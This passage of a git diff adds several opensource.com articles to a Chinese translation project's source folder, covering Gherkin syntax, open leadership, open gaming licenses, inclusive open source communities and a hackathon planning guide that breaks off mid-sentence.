is a highly specific scenario in which an imaginary user requests £50, and the ATM provides £50 and adjusts the user's account balance accordingly. This scenario is just one part of an ATM's purpose, and it only represents a specific component of a person's interaction with a cash machine. When a programmer is given the task to program the machine to respond to a user request, this clearly demonstrates what factors are involved. + +#### What are Gherkin keywords? + +The Gherkin syntax makes use of five indispensable statements describing the actions needed to perform a task: + +- **Feature**: denotes a high-level description of any given software function +- **Scenario**: describes a concrete _example_ +- **Given**: explains the initial context of the system +- **When**: specifies an event or action +- **Then**: describes an expected outcome, or a result +- **And (or but)**: increases text fluidity + +By making use of these simple keywords, customers, analysts, testers, and software programmers are empowered to exchange ideas with terminology that's recognizable by all. + +### Executable requirements and automated testing + +Even better, _Gherkin requirements are also executable._ This is done by mapping eachand every keyword to its intended (and clearly stated) functionality. So, to keep with the example above, anything already implemented could automatically be displayed in green: + +``` +When the Current Account Holder requests £50* +Then the cash machine dispenses £50* +And the account balance is £150 +And the debit card is returned +``` + +By extension, Gherkin enables developers to translate requirements into testable code. In practice, you can use specific phrases to check in on your software solutions! If your current code isn't working properly, or a new change has accidentally caused a software error (or two or three) then you can easily pinpoint problems before proceeding to repair them. + +### Conclusion + +Thanks to the Gherkin syntax, your customers will no longer be in a pickle. You can bridge the divide between businesses and developers and deliver outstanding products with greater confidence than ever before. + +Find out more about Gherkin by visiting the [Cucumber website][3] or its [Git repository][4]. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/gherkin-language-developers + +作者:[David Blackwood][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/david-blackwood +[b]: https://github.com/lkxed/ +[1]: https://softwareplanetgroup.co.uk/user-stories-bridging-the-gap-between-customers-and-developers-updated/ +[2]: https://opensource.com/article/19/2/behavior-driven-development-tools +[3]: https://cucumber.io/docs/gherkin/ +[4]: https://github.com/cucumber/docs diff --git a/sources/talk/20230209.2 ⭐️⭐️ 3 types of leadership for open organizations.md b/sources/talk/20230209.2 ⭐️⭐️ 3 types of leadership for open organizations.md new file mode 100644 index 0000000000..6fda583cbd --- /dev/null +++ b/sources/talk/20230209.2 ⭐️⭐️ 3 types of leadership for open organizations.md @@ -0,0 +1,87 @@ +[#]: subject: "3 types of leadership for open organizations" +[#]: via: "https://opensource.com/article/23/2/leadership-open-organizations" +[#]: author: "Bryan Behrenshausen https://opensource.com/users/bbehrens" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +3 types of leadership for open organizations +====== + +In the classic movie _Born Yesterday_, a crime boss repeatedly demonstrates his leadership style by bellowing, "Do what I'm tellin' ya!" in a loud, threatening voice. It's entertaining in a comedy, but it would be a recipe for failure and getting ignored in an open organization. + +In this article, I review forms of leadership that can be effective in an open organization. Remember that these leadership forms do not exist in a vacuum or silos. To be an effective manager, you want to mix and match techniques from each leadership style based on the requirements of a situation. + +These three approaches to leadership are helpful for open organizations. + +### Servant leadership + +There is a saying that politicians want to get elected either to be something or to do something. This adage applies to any type of leader. Some leaders simply want to be in command. While all leaders are ambitious, for this type of leader, satisfying their ambition is the primary goal. The acquisition of power is an end unto itself; once they have it, they may be uninterested in using it to solve problems or build something. Anything that the organization achieves looks like a personal triumph to them. + +By contrast, when you're a servant leader, you see your leadership role as a means to serve people. In the political world, you would view public service as not a cliche but as an opportunity to help the public. As a servant leader, you work to improve things for the people you lead and are primarily concerned about the welfare of those around you. + +Servant leadership is also contagious. By focusing on the welfare and development of the people you lead, you're growing the next generation of servant leaders. As a servant leader, you're not interested in taking all the credit. For example, when legendary baseball manager Casey Stengel was congratulated for winning a league championship, he famously remarked, "I couldn't have done it without my players." One of his greatest skills as a manager was maximizing each player's contributions to benefit the whole team. + +### Quiet leadership + +For the past several years, we've been living in the age of the celebrity CEO. They are easy to recognize: They are brash and loud, they promote themselves constantly, and they act as if they know the answer to every problem. They attempt to dominate every interaction, want to be the center of attention, and often lead by telling others what to do. Alice Roosevelt Longworth described her father, US President Theodore Roosevelt, as someone who "wanted to be the corpse at every funeral, the bride at every wedding, and the baby at every christening." Roosevelt was an effective leader who did extraordinary things, such as starting the US National Park Service and building the Panama Canal, but he was anything but quiet. + +In contrast, when you're a quiet leader, you lead by example. You don't fixate on problems; instead, you maintain a positive attitude and let your actions speak for themselves. You focus on what can be done. You lead by solving problems and by providing an example to your team. When faced with unexpected issues, the quiet leader doesn't spend time complaining but looks for solutions and implements them. + +### Open leadership + +As a servant leader, you work to assist the members of your organization in growing into leaders. Quiet leaders lead by example. Servant leaders and quiet leaders do not act in an autocratic manner. Open leaders combine many of these characteristics. + +An open leader is also not a top-down autocratic leader. As an open leader, you succeed by creating organizations in which teams can thrive. In other words, as an open leader, you create a framework or environment in which your organization can achieve the following goals according to [The Open Organization Definition][1]: + +- **Greater agility:** In an open organization, all team members have a clear understanding of the organization's goals and can, therefore, better work together to achieve those goals. +- **Faster innovation:** In an open organization, ideas are heard (and reviewed and argued over) regardless of their origin. Ideas are not imposed on the organization by its leaders. +- **Increased engagement:** Because members of the organization can contribute to decisions about the organization's direction, they have a sense of ownership for the team's goals. + +The Open Organization defines the following five characteristics as basic tenants of open organizations: + +- **Transparency:** The organization's decision-making process is open, as are all supporting project resources. The team is never surprised by decisions made in isolation. +- **Inclusivity:** All team members are included in discussions and reviews. Rules and protocols are established to ensure that all viewpoints are reviewed and respected. +- **Adaptability:** Feedback is requested and accepted on an ongoing basis. The team continually adjusts its future actions based on results and inputs. +- **Collaboration:** Team members work together from the start of a project or task. Work is not performed in isolation or in silos and then presented to the rest of the team for input. +- **Community:** Team members have shared values regarding how the organization functions. Team leaders model these values. All team members are encouraged to make contributions to the team. + +### Putting leadership styles to work + +How can you, as an open leader, incorporate the characteristics of servant and quiet leadership? + +In an open organization, to support an inclusive community, you function as a mentor. Just as a servant leader acts to teach and cultivate future servant leaders, you must walk the walk, leading by example, ensuring transparency and collaboration, and operating according to shared values. + +How can a quiet leader contribute to an open organization? Open organizations tend to be, for lack of a better word, noisy. Communication and collaboration in an open organization are constant and can sometimes be overwhelming to people not accustomed to it. The ownership felt by members of open organizations can result in contentious and passionate discussions and disagreements. + +Quiet leaders with a positive outlook tend to see paths forward through seemingly contradictory viewpoints. Amid these discussions, a quiet leader cuts through the noise. As a calming influence on an open organization, a quiet leader can help people get past differences while driving solutions. + +### Further resources + +- [The Center for Servant Leadership][2] +- ["The quiet leader and how to be one,"][3] Harvard Business School blog +- ["How to recognize silent leaders and encourage their growth in your organization,"][4] G&A Partners blog +- ["What is The Open Organization,"][5] opensource.com +- [_The Open Organization Definition_][6] [eBook], opensource.com + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/leadership-open-organizations + +作者:[Bryan Behrenshausen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bbehrens +[b]: https://github.com/lkxed/ +[1]: https://theopenorganization.org/definition/open-organization-definition/ +[2]: https://www.greenleaf.org/what-is-servant-leadership/ +[3]: https://hbswk.hbs.edu/item/the-quiet-leaderand-how-to-be-one +[4]: https://www.gnapartners.com/resources/articles/silent-leadership +[5]: https://opensource.com/open-organization/resources/what-open-organization +[6]: https://opensource.com/open-organization/resources/open-org-definition diff --git a/sources/talk/20230210.1 ⭐️⭐️ What an open license means to gamers.md b/sources/talk/20230210.1 ⭐️⭐️ What an open license means to gamers.md new file mode 100644 index 0000000000..4fe1d0523b --- /dev/null +++ b/sources/talk/20230210.1 ⭐️⭐️ What an open license means to gamers.md @@ -0,0 +1,95 @@ +[#]: subject: "What an open license means to gamers" +[#]: via: "https://opensource.com/article/23/2/what-open-license-means-gamers" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What an open license means to gamers +====== + +When it was released over 20 years ago, the Open Gaming License 1.0a (OGL) changed the tabletop gaming industry. It enabled publishers to use portions of the D&D rules, verbatim, in their own game books. It guaranteed that the owner of the D&D brand wouldn't sue you for creating and selling modular rules and adventures for the D&D game. And more importantly, it became a promise of collaboration for the gaming community. When you wanted to broadcast to other players that you were willing and eager to share ideas, you included the OGL in your game book, marking your game as open. + +Recently, Wizards of the Coast attempted to revoke the Open Gaming License 1.0a, apparently on the grounds that legally the word "perpetual" isn't the same as "irrevocable". Luckily, the gaming community united and defended the license, and in the end Wizards of the Coast acquiesced. As a sign of good faith that [came too late for many players][1], Wizards of the Coast [released the System Reference Document (SRD)][2], a subset of the rules published in the hardcover D&D book, into the Creative Commons. + +In essence, the fifth edition of the world's first role-playing game (D&D) no longer belongs to Wizards of the Coast. It belongs to its community of players. + +As an open source enthusiast, that makes a lot of sense to me, but I admit that for most people it probably seems odd that a corporation would be compelled by its community to surrender ownership of its main product. It's worth noting that D&D probably wouldn't still be around today if it hadn't maintained an open license for nearly 20 years (it wandered away from this during its 4th edition, but hastily course-corrected for the 5th edition). It's an important turn of events, not only gamers, but everyone invested in the idea of open culture and open source. + +### What open licensing means to gamers + +Since the Open Gaming License was released in the early 2000s, there have been hundreds of games and adventures and supplements and source books that were never obligated to use the OGL. They were written from scratch using original language, never borrowing from a System Reference Document in any direct way. Just as there were lots of roleplaying supplements back in the 80s that _happened_ to work with that one game by TSR, these books are independent material that often _happen_ to work with existing systems. But authors chose to use the OGL 1.0a because they recognized that sharing ideas, mechanics, and content was what tabletop roleplaying is all about. It's what it's always been about. Getting together with friends, some old and some new, and inspiring each other. That fellowship extended to the computer screen once digital technology and its infrastructure got good enough to facilitate extended video and voice calls, and to provide emulated tabletops, and so the pool of [potential friendships][3] got even bigger. The OGL 1.0a was a document you could copy and paste into your book as a sign that you wanted to collaborate. You were inviting people to your writer's desk and to your gaming table. + +**[ Related read: [Why sysadmins should license their code for open source][4] ]** + +For a lot of gamers, the Open Gaming License 1.0a also defined the word "open". Being open is different than what we're used to. There's a lot of implied openness out there. Sure, you're allowed to dress up as your favourite Star Wars character—until Disney says otherwise. And maybe you can write some fan fiction based around your favourite TV series—as long as you don't sell it. + +But the OGL 1.0a tells you exactly what you can use, and reference documents provide rules you can freely copy and paste into your own work, and then other authors can use your content to build up something cool. And nobody's restricted from selling their work, so it literally meant people could turn their hobby into their day job. And nobody could take that away. + +### What "open" means for everyone + +In the software world, the definition of "open" is ardently protected by organizations like the [Open Source Initiative][5]. But for many gamers, that definition was a function of the Open Gaming License 1.0a. And Wizards of the Coast was trying to redefine it. + +The term "open" is arguably best defined by the Free Software Foundation, which ironically doesn't use the term "open" and prefers "free" instead. Here's how the FSF defines the term "free": + +- The freedom to run code as you wish, for any purpose. +- The freedom to study code to understand how it works, and to change it so it works better for you. +- The freedom to redistribute copies of the original code. +- The freedom to distribute copies of your modified code to others. + +Extrapolating this to culture, you have similar concepts, including the freedom to share, the freedom to change and adapt, and the freedom to receive recognition for the work you've contributed. + +### 3 open licenses gamers need to know + +If you're a gamer who's confused about open licensing, don't let the recent attempt to revoke the Open Gaming License fool you. The important thing to remember is that an open community can exist with or without a corporate sponsor. You don't need the legal system to create an open gaming environment, but in today's world you may need a legal system to defend it. And there are licenses out there to help with that. + +### 1. Creative Commons + +The [Creative Commons (CC) license][6] is an agreement you can apply to something you've created, explicitly granting other people permission to redistribute and maybe even remix your work. The CC license is modular, so you get to decide what permissions you grant. There's an online "quiz" at [creativecommons.org/choose][7] to help you pick the right license for your project. + +### 2. GNU Free Documentation + +The 90s RPG **Dead Earth** was published using the GNU Free Documentation license, and it makes sense when you consider that most tabletop games are essentially just a set of rules. Game rules are essentially the "code" of a game written in natural language, so a license intended for technical documentation might make some sense for a game. The GNU Free Documentation license is a modern license, acknowledging that many documents exist only online as wiki pages, or that they may also be licensed under a Creative Commons license. It's also got provisions for the difference between making a personal copy of a book and printing a book by the hundreds. + +To find out more about the GNU Free Documentation license, visit [gnu.org/licenses/fdl-1.3.txt][8]. + +### 3. Open RPG Creative (ORC) License + +The ORC license doesn't yet exist, but it's being formulated, in the open and with public participation, by well-known game publisher Paizo. This license is aiming to replace the OGL with legal text that recognizes the unique needs of a gaming system, in which trademarks and copyrighted material (such as lore, a fictional pantheon, the names of magic spells, and so on) intermingle. The ORC license seeks to make it possible for game publishers to explicitly allow and foster participation and ownership for its community, while also retaining control of the fictional world in which their own version of the game is set. Once completed, the ORC license will be placed in the trust of a non-profit foundation so that no company, in the future, can claim ownership of it with the aim of revoking or altering it. + +### An open systems reference document + +The right license guarantees that others can build upon what you've created. For tabletop role-playing games, the thing being created is a set of rules. In the context of a game, a "rule" is an agreement all the players make with one another to define constraints for what you're "allowed" to do during the game. Of course, it's just a game so you can literally do whatever you want, but the rules define what you can expect as a result. + +It's generally acknowledged that game rules aren't subject to copyright. They are seen as community property, but the literal words used to describe those rules are written by someone, and so the author of a rulebook does hold the copyright to their personal expression of a rule. But opening up copyright material for re-use is exactly what licenses were created for, and so a rulebook distributed under an open source license means that you can copy and paste text straight from that rulebook into your own publication without betraying anyone's trust. + +The [system-reference-document.org][9] project is working to preserve the D&D 5.1 rules (called the "System Reference Document") and to forge ahead with revisions as developed by the community. Visit the site today to download the open source D&D rules. Read them over, play a few games, and take note of what's confusing and what doesn't seem to work. Think about what you'd change. Maybe you don't like how passive perception works (wouldn't it be better as a codified reaction that could override a surprise effect?), or maybe the character build process is confusing (surely it could be delivered as a linear process of requirements?), or maybe there's something else. Now, thanks to open licensing, and to projects like systems-reference-document.org, you can help change the issues you have with the game. + +### Open means open + +For many of us, open source and open culture are the default. It feels unnecessary and self-important to declare a license for the work we put out into the world. But it's important to remember that not everyone knows your intent. When you release something to the world with the intent for it to be reused, shared, and maybe even remixed, apply an open license to it as a way of reassuring your collaborators-to-be that you support common culture, creativity, and open source. It might seem simple to quickly write your own statement of intent, call it a legal license, and paste it into your document, but if the fight to preserve the OGL has taught us anything, it's that the language of the legal system is not easily learned. Use a trusted license that has a community of stakeholders behind it, so that should it ever be threatened, you have a loud and collective voice to use in its defense. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/what-open-license-means-gamers + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://koboldpress.com/project-black-flag-update-sticking-to-our-principles?utm_source=opensource.com +[2]: https://www.dndbeyond.com/attachments/39j2li89/SRD5.1-CCBY4.0License.pdf +[3]: https://opensource.com/article/21/3/open-source-streaming +[4]: https://opensource.com/article/23/1/why-sysadmins-should-license-code-open-source +[5]: http://opensource.org +[6]: https://opensource.com/article/20/1/what-creative-commons +[7]: https://creativecommons.org/choose/ +[8]: https://www.gnu.org/licenses/fdl-1.3.txt +[9]: https://github.com/system-reference-document/ diff --git a/sources/talk/20230210.2 ⭐️⭐️ How open source leaders can foster an inclusive environment.md b/sources/talk/20230210.2 ⭐️⭐️ How open source leaders can foster an inclusive environment.md new file mode 100644 index 0000000000..2a0667bd09 --- /dev/null +++ b/sources/talk/20230210.2 ⭐️⭐️ How open source leaders can foster an inclusive environment.md @@ -0,0 +1,58 @@ +[#]: subject: "How open source leaders can foster an inclusive environment" +[#]: via: "https://opensource.com/article/23/2/open-source-leaders-inclusive-environment" +[#]: author: "Kate Carcia Poulin https://opensource.com/users/kcarcia" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How open source leaders can foster an inclusive environment +====== + +Open source leaders can foster inclusive communities for newcomers by creating belonging, providing opportunities, and showing support. They understand the intricacies of submitting code and making connections with other community members. In doing so, they build credibility and gain influence. This experience is invaluable to contributors who want to participate but don't know where to start. + +A few years ago, I found myself in this daunting position when I began managing a team active in the Linux kernel community without any experience in kernel myself. The complex code base, expansive email archives, and high-stakes communications intimidated me. When new kernel developers on my team expressed similar feelings, I realized my experience was ubiquitous. For those supporting contributors or those seeking to contribute themselves, the path to entry is not always clear and can feel unattainable. + +### 4 strategies for inclusive leadership + +Open source leaders can have an impact by creating pathways for those looking to integrate into the community. The strategies covered in this article can be applied in formal [mentoring][1] or [coaching][2] relationships but are just as applicable in day-to-day interactions. Seemingly minor exchanges often have the most significant impacts when fostering inclusivity in an environment. + +### Approach with curiosity + +Someone with less experience or coming from a non-traditional background may solve problems in unexpected or different ways. Reacting to those differences with judgment or criticism can create an unsafe environment for learning in communities that often have a steep knowledge curve. For example, long-time contributors to the Linux kernel understand its rich history. This means they have an implied understanding of community decisions and reactions. New contributors must build this knowledge but can only effectively do so if they feel safe taking necessary risks to grow their skill set. + +Open source leaders can support newcomers as they learn by approaching them with curiosity. Consider asking questions like, "Can you help me understand why you took this approach?" rather than declaring proposed solutions "right or wrong". Questions open a dialog for continued learning rather than shutting down ideas that are an important aspect of exploration. This process also broadens the leader's viewpoint, who can learn by considering fresh perspectives. + +### Identify and share learning opportunities + +Open source leaders can identify projects suitable for others to gain technical expertise and learn community processes. In creating opportunities for others, leaders also create more opportunities for themselves. This is because they make more time to explore new endeavors while continuing to advance their work through delegation. As leaders grow, their ability to enable others around them to succeed becomes just as critical as their direct contributions. + +Knowing that [failure][3] is a part of learning, think about identifying projects where newcomers can safely fail without drastic consequences. In the Linux kernel, for example, there are certain parts of the code base where small changes can have disastrous consequences. Consider projects where small wins are achievable to help newcomers build confidence and feel empowered without high stakes. Make these ideas accessible by sharing them at conferences, in email forums, or in any way your community advertises how to become involved. + +### Demonstrate vulnerability + +Having more experience doesn't mean you know everything. More often than not, even the most experienced Linux kernel contributors I've worked with are humbled by new challenges in uncharted subsystems. It's common for community members with less experience to view more experienced community members as having it all figured out. But having experience is about being adept at figuring out what you don't know. If you are in a position of authority and regarded as an expert, demonstrating vulnerability by sharing personal experiences of struggle and perseverance can be encouraging to those dealing with similar feelings. + +### Vouch for others + +Introduce newcomers to your network. Connect them with community members with expertise in areas that pique their interests. Say their name in public forums and call out the excellent work they are doing. As a respected leader, your endorsement can help them build connections and trust within the community. + +We can have rich and diverse communities by building in inclusivity. It is my hope that open source leaders will consider these suggestions because those you lift into the community will someday be able to extend a hand to others. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/open-source-leaders-inclusive-environment + +作者:[Kate Carcia Poulin][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kcarcia +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/8/mentoring-power-multiplier +[2]: https://enterprisersproject.com/article/2021/4/it-leadership-how-to-coach?intcmp=7013a000002qLH8AAM +[3]: https://opensource.com/article/20/11/normalize-failure diff --git a/sources/talk/20230213.1 ⭐️⭐️⭐️ A 10-step guide for a successful hackathon.md b/sources/talk/20230213.1 ⭐️⭐️⭐️ A 10-step guide for a successful hackathon.md new file mode 100644 index 0000000000..5514488bd7 --- /dev/null +++ b/sources/talk/20230213.1 ⭐️⭐️⭐️ A 10-step guide for a successful hackathon.md @@ -0,0 +1,305 @@ +[#]: subject: "A 10-step guide for a successful hackathon" +[#]: via: "https://opensource.com/article/23/2/hackathon-guide" +[#]: author: "Tiffany Long https://opensource.com/users/tiffany-long" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A 10-step guide for a successful hackathon +====== + +Hackathons are easy. How much thought do you need to put into them anyway? Just set a date, and people will show up. Well, that is not quite true! + +While you may get lucky with that approach, the reality is that hackathons are a keystone experience in the tech industry, and attendees have specific expectations. Not only that, but your organization also has certain needs and should set goals for a hackathon. So, how do you ensure that a hackathon works for your organization and attendees? + +A successful hackathon depends on several decisions that tend to be recursive. Decisions about what you want to achieve will impact what resources you allot and how you want to communicate. Those decisions affect whether you go virtual or in person, and that decision will once again impact the resources you need and how you communicate. Alignment when planning hackathons is not just about getting people to agree. You will have a whole suite of decisions that must internally align. For example, a technically difficult hackathon might not be able to attract a large audience (ask me how I know!) and will require a specialized recruitment strategy that requires different resources. + +I've done many hackathons over the years, including just a few months back, when my organization hosted a hackathon that led to new features that we will incorporate into the next version of our open source product, Traefik Proxy 3.0. So, trust me when I say planning a hackathon that will enrich attendees and create valuable outcomes for your project is about more than hope, pizza, and chaos. + +This article uses the most recent Traefik Labs Hackathon as a blueprint. I share a checklist, tips, and tricks to help you identify your objectives, plan, manage the contest and compensation, share your results, and manage the long tail of the hackathon (the work isn't over when the hackathon ends!) + +This guide serves as a model for you to outline best practices so that you, too, can hold a successful hackathon with a sizable target audience that delivers results! + +- [Three questions to determine your goals][1] +- [Why are you doing this?][2] +- [Who is your audience?][3] +- [How are you measuring goals?][4] +- [Decide on in-person vs. virtual][5] +- [Build your communication strategy][6] +- [Decide on the prizes][7] +- [Swag it up][8] +- [Get the word out][9] +- [Managing the long tail][10] + +**[ Get a PDF and EPUB version of this article. [Download it here.][11] ]** + +### 1. Three questions to determine your goals + +The first and most crucial step is to set your goals. But this is no simple affair. Before you set goals, you need to coordinate internally on multiple fronts and ask questions such as: + +- Why do you want to do a hackathon? +- Who do you want to attend? +- How are you going to measure your success? + +#### Identify your internal stakeholders and set expectations + +**Hackathons are cross-functional**. No hackathon is run by a community person alone. It is important to ensure everyone is aligned on the goals, what is required to achieve them, and that the necessary resources are committed. This probably sounds super corporate, but these functions exist even within the smallest projects. A project needs adoption and code. It also needs value decisions based on who will be using it. And, of course, projects need passionate contributors. + +**Hackathons require cross-functional resources**. One team with a single set of resources cannot successfully run a hackathon. The organization must make various resources available, including: + +- Marketing for planning and outreach. +- Product Management for product and industry-specific insight. +- Engineering for deep technical knowledge and community engagement. + +For these reasons, hackathons usually support cross-functional goals. Your Community Team, for example, might want to build ownership and convert users to active community members. The Marketing Team might want to enhance awareness and court new users. The Engineering Team might need new perspectives on specific needs or challenges. The Product Team might have goals or no-go areas the community should be aware of. + +And last but not least, the hackathon budget is cross-functional. I am sorry to inform you, but hackathons ain't free! Your largest expense is always the dedicated time of your team. + +### 2. Why are you doing this? + +Setting your goals is the most important part of a successful hackathon. If you don't know what you want to do or why a hackathon is important, at best, it will have a ton of wasted potential and be a disconnected mess at worst. + +Communities feed off of ownership. Decide what you need from your community and what ownership stake you want community members to have. Without a clear understanding of this, your hackathon might not reach its full potential in empowering your community. + +Be very careful with your hackathon design and goals. Different types of hackathons appeal to different skill levels. If the code you're looking for is very advanced, take the extra time to court the right audience and accept that it will include less overall attendance. Cast a wide net if the contributions can vary in skill and experience. + +#### Are you hosting a hackathon to get code and build your project? + +- Sometimes, projects hit a critical juncture or acquire a lot of excitement around them, and you want to harness the energy to build something together. A hackathon is a great way to achieve this! +- If you have an active community of users, a hackathon can bring everyone together at the same time to harness that excitement to feed the creative energy of your group. + +**Note:** This is more easily achievable with smaller groups who know each other and have a shared experience with the project. You also need to carefully evaluate the skills required to build your project. + +#### Are you hosting a hackathon to build your community or re-engage them? + +- Maybe you are just building your community or noticed that your community needs a little juice. Hackathons are exciting, and they can help bring that back. +- Above, I said, "Communities feed off of ownership." If your community members do not feel they have a stake or that their needs and voices matter, they will drift away. This is common when projects grow and become more formalized. As the barrier to entry rises, the ability for community members to feel ownership falls, and the project becomes like a product to the user. One way to enhance community membership is by creating events that engage users and lower the bar for entry: Bug round-ups, light requests, and longer timelines. +- Perhaps your user community is growing, but the contributor community is becoming more specialized as your tech becomes more complex. In this case, you need to court sophisticated technologists who understand your tech and the use cases. Look for community members who use your tech in their jobs—especially at companies with large or complex deployments. These people are more likely to understand the needs of users and of the tech itself. They will also have suggestions for significant and valuable enhancements. +- You are free to choose goals that build your community and match your team and community members' energy and time. For example, at Traefik Labs, a hackathon aimed at enthusiastic folks with a small time commitment might target our Plugin Catalog. However, when looking for larger contributions or contributions that take significant expertise, we might target advanced technologists–especially those we know. + +#### Are you hosting a hackathon to celebrate something? + +- Hackathons are a great way to celebrate a new launch and hype your community. For example, that is exactly why we hosted the [Traefik Proxy 3.0 Hackaethon][12]. +- Hackathons are also great for getting the word out about a new product capability. The [Traefik Plugin Hackaethon][13] is an excellent example here. +- Maybe you want to organize an event to celebrate your top contributors. Do it with a hackathon! Take a look at [this hackathon organized by HackerOne][14]. And if you're thinking, "but this is not about open source software (OSS), how can it be a hackathon?" I've got news for you—hackathons are not just for OSS! Hackathons are for creating with a large community. + +#### Are you hosting a hackathon to build awareness? + +Hackathons are a great place to begin if you are just starting and want to build awareness around your product/brand. However, there are a few conditions. + +- Laser-focused goals and big contributions are unlikely to happen at this stage. Go for a softer, broader focus, and minimize the work required by attendees. +- Reach out to new community members, less experienced users, and users with less exposure to your specific project. + +#### Are you hosting a hackathon to connect to users? + +I can think of no better way to connect new users to your project than a hackathon. Not only will your users become intimately familiar with your project, but hackathons also have a unique way of engendering a sense of ownership, rarely achievable through other types of events. + +### 3. Who is your audience? + +Assuming you have pinpointed why you want to host a hackathon and what you want to achieve, it's time to assess the characteristics that a participant needs to be successful. Use your decisions about your goals to identify your audience to ask what type of community member can help you achieve your objectives. Use the list of comparisons below: + +- Highly-skilled vs. mixed-skilled vs. low-skilled +- Specialized vs. generalized skill +- Intensive time vs. less intensive time +- Individual contributions vs. group contributions + +Your most active community members must look a bit like your target audience. + +You might rethink your goals if your target audience doesn't align with at least 80% of the people you know you can attract. Accurately identifying your target audience will go a long way to making your communication strategy around the hackathon and the hackathon itself more successful. + +### 4. How are you measuring goals? + +Perfect, now that you answered the first two big questions and have your goals laid down, it's time for the third big question—how will you measure those goals? Inspiring your internal teams and your community to work together in building the future of your project, engendering ownership, and increasing engagement are awesome, but you can't determine success if you can't measure your goals. + +#### What does success look like immediately after the event? + +- A major sign of success is whether attendees connect and engage with each other, co-educate, and build teams during their hackathon. +- Were mentorships built? Through partnership, did several newer users grow into skilled mid-level users, or did mid-level users evolve into expert-tier users? This is the gold ring of success indicators. +- Did your partner organizations (maybe universities) request future hackathons or other events? + +- Clearly, the first sign of success is that your attendees had an overall good experience and are motivated to engage more with your project. +- If you are looking for outreach, set a quantity of participants to shoot for and a number of participants who return to contribute more after the event or in three months. +- If building awareness, you might also look for successful follow-up chatter. Who wrote blog posts? Were attendees talking about it on social media? +- If you are looking for contributions, did they work for you? Are these the contributions you want? Did they impact how your team thinks about the problems they face? Will you have ongoing collaborations with these contributors? + +#### What will denote success three months after the event? + +Defining benchmarks for long-term success is just as important. Here are a few examples of what could indicate long-term success: + +- Your hackathon should increase the number of returning contributors to your project. The goal is to get people hooked. If people new to your project came from the hackathon and stayed as users, or if your existing users became more active, you know you won. +- Hackathons are great as self-contained events, but they are supremely valuable as marketing content. They build trust in the community, showing you are responsive and value community input. They are fun loci of activity that let community members bond and look forward to the future, and they are aspirational. People love to see others celebrated and plan to achieve that celebration in the future. +- When you build marketing content around your hackathon (or better yet, others build content around your hackathon), you can expand your reach among second-degree connections. +- Tall poppy syndrome is a shame. Hackathons are a great opportunity to gather those participants who stood out and galvanize them to do other cool things and spread the word about your project. + +### 5. Decide on in-person vs. virtual + +I know what you're thinking—is in-person even a consideration? We've all gotten so used to doing everything virtually in the post-covid world. So, are the days of in-person gone? I would argue no, they are not. With care and safety measures in place, in-person events are the heart and soul of hackathons. + +- In-person means no distractions, lots of pizza, and energy drink-fueled friendship. +- In-person fuels group participation rather than individual contributor participation. +- In-person works well at scale and in miniature: Organizing in-person hackathons for large groups brings high energy and rewards. But they can get quite costly. If you want to organize a large-scale hackathon, you'll be more successful if you target less experienced developers (students, clubs, new careerists) because these folks have the most time and the most to gain when demonstrating their skill and passion. +- In-person also works well for small groups and is great for intense planning and iteration—long nights with new and old friends, usually over food and beer! + +And while many pros come with in-person hackathons, it doesn't mean that the virtual experience only comes with cons. Granted, nothing replaces that feeling of late nights with pizza, off-the-cuff remarks that end up changing your entire project, and a friendly set of eyes over your shoulder as you test or debug. But... + +- Virtual means you can get a wider group of participants at a significantly lower cost. +- Virtual respects disability. +- Virtual is geolocation friendly. +- Virtual allows for higher individual contributor participation. +- Virtual offers more flexibility in the style and length of the event – you cannot have a month-long in-person event! + +#### Timelines of virtual hackathons + +Did you decide to do a virtual hackathon? Great! Now, you need to determine the type of virtual hackathon you want. Do you envision a prolonged or intensive timeline? Keep in mind that the type of [virtual hackathon][15] you choose will determine, to some extent, your target audience and communication strategy. + +**Extended timeline:** + +- Allows after-hours tinkering and enables developers to attend without taking time off from work. +- Provides more time to solicit contributions. +- Requires fewer resources for both the organizer and the participants. +- Extended timelines require fewer real-time resources. + +**Intense timeline:** + +- Recreates that feeling of intensity usually experienced in in-person hackathons. +- Requires a high amount of resources for a short period of time. +- Requires tight management and a communication platform. +- Requires clear one-on-one communication, but also fosters group-to-group or intra-community communication. + +### 6. Build your communication strategy + +Speaking of communication, once you have your goals, you must decide **who** communicates with participants and **how**. It's common to choose between the popular apps of the day. Your choice impacts the event's feel. Different [chat applications][16] and [collaboration platforms][17] have their own cultures and strengths. The decision you made early on about how to host your hackathon (in-person or virtual, prolonged or intense timeline) is likely to have the most significant impact on your communication strategy. + +#### In-person communication plan + +If you are running an in-person hackathon, consider it a genuine event—it feels almost like a conference. In-person hackathons often include the following: + +- **Workshops/round tables:** Meant to educate and develop new 